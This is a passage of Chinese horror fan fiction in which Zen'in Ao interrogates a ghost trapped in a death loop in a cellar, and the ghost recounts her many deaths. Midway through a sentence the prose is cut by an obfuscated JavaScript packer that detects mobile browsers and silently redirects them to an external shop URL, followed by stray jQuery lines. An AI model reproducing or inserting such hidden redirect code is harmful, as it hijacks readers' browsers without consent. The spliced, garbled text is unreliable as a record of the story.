“你没有死。”
爬过来的女人愣住了。
那张倒转的脸上，密密麻麻的牙齿停止了啮合。错位的五官出现了一种极滑稽的空白，她像在舞台上一脚踏空的小丑，又像是被人猛击脑袋的狗。
活人？我吗？
如果我还活着，为什么我的眼睛能看到自己的脚后跟？为什么我的肺叶里充满了泥土的腥味？为什么我的记忆像被打散的拼图，每一片都沾着血和霉菌？
“你没有咒力，不是诅咒。你的身体在腐烂，但那是错觉——真正的你，一直活着。”
“白骨化的你。巨人观的你。刚死的你。活着的你。”
那些被强行压缩在这个狭小空间里的“记忆”——那些腐烂的、膨胀的、干枯的躯体，仿佛产生了某种共鸣。
层层叠叠的痛苦飞鸟般于狭室中盘旋。
禅院青收回手，金色的眼睛，无有怜悯。
“她们都是你，但你没有死。”
“……”
水镜冴子出离愤怒了。
“你……你懂什么！？我在这里这么久——嗬啊…！我死了这么多次、我的血浸湿了这里、每一寸…每一寸！！！”
她尖叫着扑过来，她要撕裂这张镇定的脸！要切断这根发出噪音的气管！让她的鲜血流溅！让她付出代价！
禅院青伸出手，拎住了她的颈骨。
“回答我的问题，否则我就在这里展开领域碾碎你。”
“……”
水镜冴子突兀地安静下来，不再张牙舞爪。她只是一个诅咒的引子，并不具备攻击力。
但是她也怕疼。
她都死了这么多次了。每一次都很疼、很疼。
“那么，今天几号？”
日期？时间？
在这里，时间不是线性的河流，而是一个浑浊的漩涡。
昨天在明天之后发生，死亡是开始前的结束。
她那三十二颗牙齿在空气中磕碰着，试图从如同糨糊般的脑髓里捞出一块完整的碎片。
她努力地想啊想。
手上的日历。手机屏幕上的数字。收音机里的早间新闻。
“4月……15日？”
“哪一年？”
“2005年。”
这个她倒是记得很清楚。因为那一年，她买了那辆红色的二手轿车，那是她人生中第一笔大额支出。
“你叫什么？”
“水鏡、冴子。”
女人的双唇稍分。那三十二枚本用作威吓的牙，这时仅在迟缓地摩擦，诉说属于人类的悲切。
三个音节*吐出来的瞬间，某种东西归位了。
名字是最短的咒。当她承认这个名字时，那些漂浮的记忆碎片开始有了聚合的引力。
“你最后一次见到活人，是什么时候？”
沉默。
死寂的沉默。下面那具巨人观尸体唱着一首沉默的歌。
水镜冴子的眼神开始涣散。
她的视线穿过了禅院青，穿过了厚重的土墙，投向了某个极其遥远又极其切近的时间点。
活人，什么叫活人？
除了眼前这个怪物般的女人，上一个拥有体温、会呼吸、会说话的生物……是谁？
记忆的海面翻涌起黑色的泡沫。无数个破碎的画面像跑马灯一样闪过。
那个满脸横肉的黑市中介？不对，那是很久以前的事了……
那个开车带她来的司机？不，那是她自己开的车……
路边的流浪汉？加油站的店员？
不。
都不对。
那些面孔都模糊了，融化了，变成了没有五官的肉块。
最后定格的，只有这一片死寂的森林，和这栋在夜色中张开大口的古宅。
“今天早上。”
她的声音轻得像是一缕即将消散的烟。
“我开车来这里。想看这块地。”
“传说这里很凶。但我不在乎。便宜。我想……我想在这里盖个房子。虽然我也没什么钱，但这块地……真的很便宜。”
禅院青点了点头，脸上的表情依旧没什么变化。
“然后呢？”
“然后……”
“我听到哭声。从地窖里。”
那个声音。那个细微断续的、像是蛇信子舔过耳膜的哭声。
明明还没有走进房子，那个声音就透过厚重的土地，透过腐朽的地板，钻进了她的耳朵里。
“我……我只是好奇。”
“我找到了那块橡木板。上面全是灰。我不知道哪来的力气，一下子就掀开了。”
“我下去看了。”
说到这里，她的身体再次剧烈地颤抖起来，双手紧紧地扣住了禅院青的手。
“然后……我死了。”
“很冷。”禅院青忽视了女鬼可怜兮兮的眼神，用了点力把她的手扒开，“再说一遍。”
水镜冴子看着她，那双全黑的眼睛里流露出一丝近乎哀求的神色。让她回忆那些经历，等于让她重新再死一遍、再疯一遍。
那双金色的眼睛里，没有任何拒绝的余地。
她张开那张裂口般的嘴，开始讲述。
声音在狭小的地窖里回荡，带着湿冷的黏意。
“我顺着梯子爬下去。里面很黑，只有手机的光。”
“我看到……角落里有个穿白衣的女人蜷缩在那里。她在哭。”
“我很害怕。但我还是问了一句你需要帮忙吗？”
“她没有理我。”
“我走过去，拍了拍她的肩膀。那个触感……很冷。像是摸到了一块冰冻的猪肉。”
“她慢慢地转过头来。”
水镜冴子停顿了一下，呼吸急促起来。
“那张脸……是我的脸。不，比我的脸要……更干净一点。没有那颗泪痣。但我知道那就是我。”
“她看着我，笑了。”
“然后……我就感觉脖子一凉。”
“我看到了自己的身体站在那里，虽然没有了头，但还在源源不断地喷血。”
“然后我死了。”
“第二次我醒过来，发现自己站在梯子上。手机还在手里，电量还是满的。我想那是梦。或者是幻觉。”
“我告诉自己‘只要别回头’。只要不回头看那个角落，就不会有事。”
“我一步一步地往下走。我不知道为什么要往下走，身体好像不受控制。”
“走到角落，那里什么都没有。空的。”
“我松了一口气。我想笑。我想我真是个傻瓜，被自己的影子吓到了。”
“然后我转身，准备爬梯子出去。”
“那个女人……就站在我身后。”
“然后我死了。”
“那次死亡来得很快，脖子后面一凉，然后是咔嚓一声脆响。”
“第三次，我带了一把刀。刀扎进去，流血的是我的胸口。”
“第四次，我开着车逃了两个小时。有用吗？逃出山梨县的时候，那栋房子就站在出口等我。”
“然后我死了。”
“然后我死了。”
“最后我死了。”
“我疯了。我终于发了疯了。我泼了汽油。我点了火。我看着房子在火海里燃烧，木头噼啪作响，我笑得真开心啊我觉得我能活了。”
“火烧了一整夜。天亮
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334540|199225||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的时候，火灭了。房子完好无损，连那层灰都没少。”
“但我……我被烧成了焦炭。”
“我能看到自己焦黑的手，看着皮肤一块块脱落。”
“然后我死了。”
“也就是地窖第八层的那滩黑色粉末。你见过的。”
“有一次……我往上走。我爬出了地窖。爬上了楼梯。推开了二楼的窗户。”
“窗外是阳光。是杉树林。是我开来的那辆红色二手车。”
“我翻了出去。”
“一直坠落。一直坠落。”
“像是没有尽头。”
“我在空中饿死。渴死。”
“最后落到底。”
“发现是……地窖的入口。”
“抬头看。头顶是二楼的窗户。窗户里，另一个我正翻出来。”
“她落下来。砸在我身上。”
“然后我死了。”
“不，等等——砸死我的那个我，她死了吗？”
“我不知道。我只知道，我醒来的时候，又蜷缩在角落里。”
“头顶那扇窗户还在那里。”
“还在那里。”
“还在那里啊啊啊！！！”
“够了。”
禅院青的声音不大。
水镜冴子猛地收声，像是被人掐住了喉咙。她抬起头，那双全黑的眼睛里还挂着泪，但疯狂的神色正在褪去，盲目的报复欲礁石般裸露出来。
“好啊。你想听，我就让你听个够。”
“后来我决定不下去。我就在门口等着。”
“我不跑。不烧。不杀。”
“我就坐在这里等。”
“等到天黑。”她抬起那张倒转的脸，死死盯着禅院青。那双全黑的眼睛里，哀求全然不见了，取而代之的是一种近乎疯狂的挑衅，“你猜怎么着？”
“来了个女人。穿着黑色的衣服。推开了门。”
“她长得很像我。真的很像。”
“我以为她是来救我的。我向她伸出手。”
“然后我又死了。”
她顿了一下。
“原来‘等’也会死。原来‘什么都不做’也会死。原来那些来‘救我’的人，都是来杀我的。”
水镜冴子的叙述并没有因此而停下，她像是坏掉的的录音机，语速越来越快，声音越来越尖利，带着一种指甲刮擦黑板的神经质。
“最后一次、最后一次我醒过来，发现自己在地窖里。蜷缩在角落。等着。”
”我听到上面有脚步声。”
”有人来了。”
”我想回头看。但我控制不了自己的脖子。”
”它自己扭过去了。”
”然后，我看到了你。”
“我不知道哪个是第一次我不知道、不知道......”
水镜冴子倒挂的头颅剧烈地摇晃着，浑身的骨头剧烈地碰撞，发出咯哒咯哒的声响。
一滴眼泪——如果那浑浊的液体还能被称为眼泪的话——被甩进她的发际线。
“我只知道，每次死，都会回到这里。然后时间重新开始。”
“你问我今天几号。我不知道。因为我的今天，已经过了很多很多遍。”
她说那句“很多很多遍”的时候，声音里重叠着无数个自己的回响。
刚死的、腐烂的、白骨化的、化成灰的……所有的水镜冴子都在那一刻借着这张嘴发出了哀鸣。
“每一次醒来，阳光都是那么刺眼。我都会想……这次，一定要来看看这块地。”
“这里很便宜……因为死过人。”
“死的那个人……”
“就是我啊。”